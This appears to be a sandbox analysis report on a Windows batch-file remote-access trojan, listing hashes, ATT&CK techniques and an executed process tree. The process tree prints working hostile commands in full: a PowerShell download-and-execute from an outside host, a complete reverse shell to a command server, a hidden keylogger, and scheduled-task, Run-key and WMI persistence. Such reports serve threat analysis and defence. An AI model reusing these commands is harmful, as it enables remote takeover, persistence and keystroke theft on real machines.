33f81be9bd6706ecf6ac2d3559c292daa278d3ff3a07e77ed4ef5c07638b92c2

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:12

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General

Target
rat_build_90896_014303.bat
Size 4KB
Sample260529-14s8csbt9p
SHA256 33f81be9bd6706ecf6ac2d3559c292daa278d3ff3a07e77ed4ef5c07638b92c2
MD5 228ee27ba1292124274ca5fd7d67d72a
SHA1 008fda182ab91d4aaf59d340d26e6e2a64701a62
SHA512 2e11f8aecb7da5edb80fa0ccc21b01c0966b18c44973abe1cac59d7ddd916983d3f72638282e06521308cc8d486dd11fde33a5939028513d893bf2a788a227fb
SSDEEP 96:HIbdWQ/tRdkXkojRR0bOoEr5BQxsFWa0+jXugb9IIiFgZk8mvlo1Hvv:HhQ/t6AlEdyxEWaTXuiiFgkHl8vv
TLSH
T1FEA1092377D7B02046F03218D5323C18535CD5FB5300CA9EBA05CDD46A5DA87972A6A7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_90896.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1188	powershell.exe
2016	powershell.exe
1372	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_90896 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_90896.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1764	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2692	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4588	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5084	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2016	powershell.exe
2016	powershell.exe
1372	powershell.exe
1372	powershell.exe
1188	powershell.exe
1188	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4148	WMIC.exe
Token: SeSecurityPrivilege	4148	WMIC.exe
Token: SeTakeOwnershipPrivilege	4148	WMIC.exe
Token: SeLoadDriverPrivilege	4148	WMIC.exe
Token: SeSystemProfilePrivilege	4148	WMIC.exe
Token: SeSystemtimePrivilege	4148	WMIC.exe
Token: SeProfSingleProcessPrivilege	4148	WMIC.exe
Token: SeIncBasePriorityPrivilege	4148	WMIC.exe
Token: SeCreatePagefilePrivilege	4148	WMIC.exe
Token: SeBackupPrivilege	4148	WMIC.exe
Token: SeRestorePrivilege	4148	WMIC.exe
Token: SeShutdownPrivilege	4148	WMIC.exe
Token: SeDebugPrivilege	4148	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4148	WMIC.exe
Token: SeRemoteShutdownPrivilege	4148	WMIC.exe
Token: SeUndockPrivilege	4148	WMIC.exe
Token: SeManageVolumePrivilege	4148	WMIC.exe
Token: 33	4148	WMIC.exe
Token: 34	4148	WMIC.exe
Token: 35	4148	WMIC.exe
Token: 36	4148	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4148	WMIC.exe
Token: SeSecurityPrivilege	4148	WMIC.exe
Token: SeTakeOwnershipPrivilege	4148	WMIC.exe
Token: SeLoadDriverPrivilege	4148	WMIC.exe
Token: SeSystemProfilePrivilege	4148	WMIC.exe
Token: SeSystemtimePrivilege	4148	WMIC.exe
Token: SeProfSingleProcessPrivilege	4148	WMIC.exe
Token: SeIncBasePriorityPrivilege	4148	WMIC.exe
Token: SeCreatePagefilePrivilege	4148	WMIC.exe
Token: SeBackupPrivilege	4148	WMIC.exe
Token: SeRestorePrivilege	4148	WMIC.exe
Token: SeShutdownPrivilege	4148	WMIC.exe
Token: SeDebugPrivilege	4148	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4148	WMIC.exe
Token: SeRemoteShutdownPrivilege	4148	WMIC.exe
Token: SeUndockPrivilege	4148	WMIC.exe
Token: SeManageVolumePrivilege	4148	WMIC.exe
Token: 33	4148	WMIC.exe
Token: 34	4148	WMIC.exe
Token: 35	4148	WMIC.exe
Token: 36	4148	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4540	WMIC.exe
Token: SeSecurityPrivilege	4540	WMIC.exe
Token: SeTakeOwnershipPrivilege	4540	WMIC.exe
Token: SeLoadDriverPrivilege	4540	WMIC.exe
Token: SeSystemProfilePrivilege	4540	WMIC.exe
Token: SeSystemtimePrivilege	4540	WMIC.exe
Token: SeProfSingleProcessPrivilege	4540	WMIC.exe
Token: SeIncBasePriorityPrivilege	4540	WMIC.exe
Token: SeCreatePagefilePrivilege	4540	WMIC.exe
Token: SeBackupPrivilege	4540	WMIC.exe
Token: SeRestorePrivilege	4540	WMIC.exe
Token: SeShutdownPrivilege	4540	WMIC.exe
Token: SeDebugPrivilege	4540	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4540	WMIC.exe
Token: SeRemoteShutdownPrivilege	4540	WMIC.exe
Token: SeUndockPrivilege	4540	WMIC.exe
Token: SeManageVolumePrivilege	4540	WMIC.exe
Token: 33	4540	WMIC.exe
Token: 34	4540	WMIC.exe
Token: 35	4540	WMIC.exe
Token: 36	4540	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4540	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4780 wrote to memory of 5084	4780	cmd.exe	85
PID 4780 wrote to memory of 4588	4780	cmd.exe	86
PID 4780 wrote to memory of 4148	4780	cmd.exe	87
PID 4780 wrote to memory of 4540	4780	cmd.exe	88
PID 4780 wrote to memory of 3132	4780	cmd.exe	90
PID 4780 wrote to memory of 2692	4780	cmd.exe	94
PID 4780 wrote to memory of 1764	4780	cmd.exe	97
PID 4780 wrote to memory of 2016	4780	cmd.exe	98
PID 4780 wrote to memory of 1372	4780	cmd.exe	100
PID 4780 wrote to memory of 1188	4780	cmd.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_90896_014303.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4780
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_90896" /tr "C:\Users\Admin\AppData\Local\Temp\_90896.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5084
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_90896" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_90896.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4588
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_90896", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4148
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_90896", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_90896.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4540
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_90896.txt
  2⤵
  PID:3132
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2692
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_90896.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1188

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bb685cc1248891b7004844e7389249678f107133d01248f7ad140f4d22e10be3
MD5 81e8e65dcd1211bf7718b62e238307eb
SHA1 29de1bf9f5f156caca183ded88b0a93469bd53ee
SHA512 2bef22ca38077ffdfea5fa09799ac1754a109207320dde8607992c8510968c55cf1ce8c0729866b9d5968485644e16b0a3edb386483cbcb9803202d7f0c2d228
TLSH
T1D9117627F39CC921CC96153A409DAC1176B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bba626ded6cbae483a87c1ea68474a815bb517e77fd462bb18c6df298c4cb890
MD5 d7f848f7de60cad7f3d9733a9e4ca453
SHA1 5f3d9d837b6c37c97ee995f1d66d3d4f0e46d11b
SHA512 9a2a653d3b3fbbfe933c7b750928c436122669525ed4f93d00f198d0e6eea4caa72e41805b2c17c82c11ef55583b76f9274ec1a877eab34756874d00d7708cd7
TLSH
T16D115727B39C89A1CC96163A409D9C1172B683DB809EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_j0podsce.ltz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j0podsce.ltz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2016-10-0x00000220FB830000-0x00000220FB852000-memory.dmp

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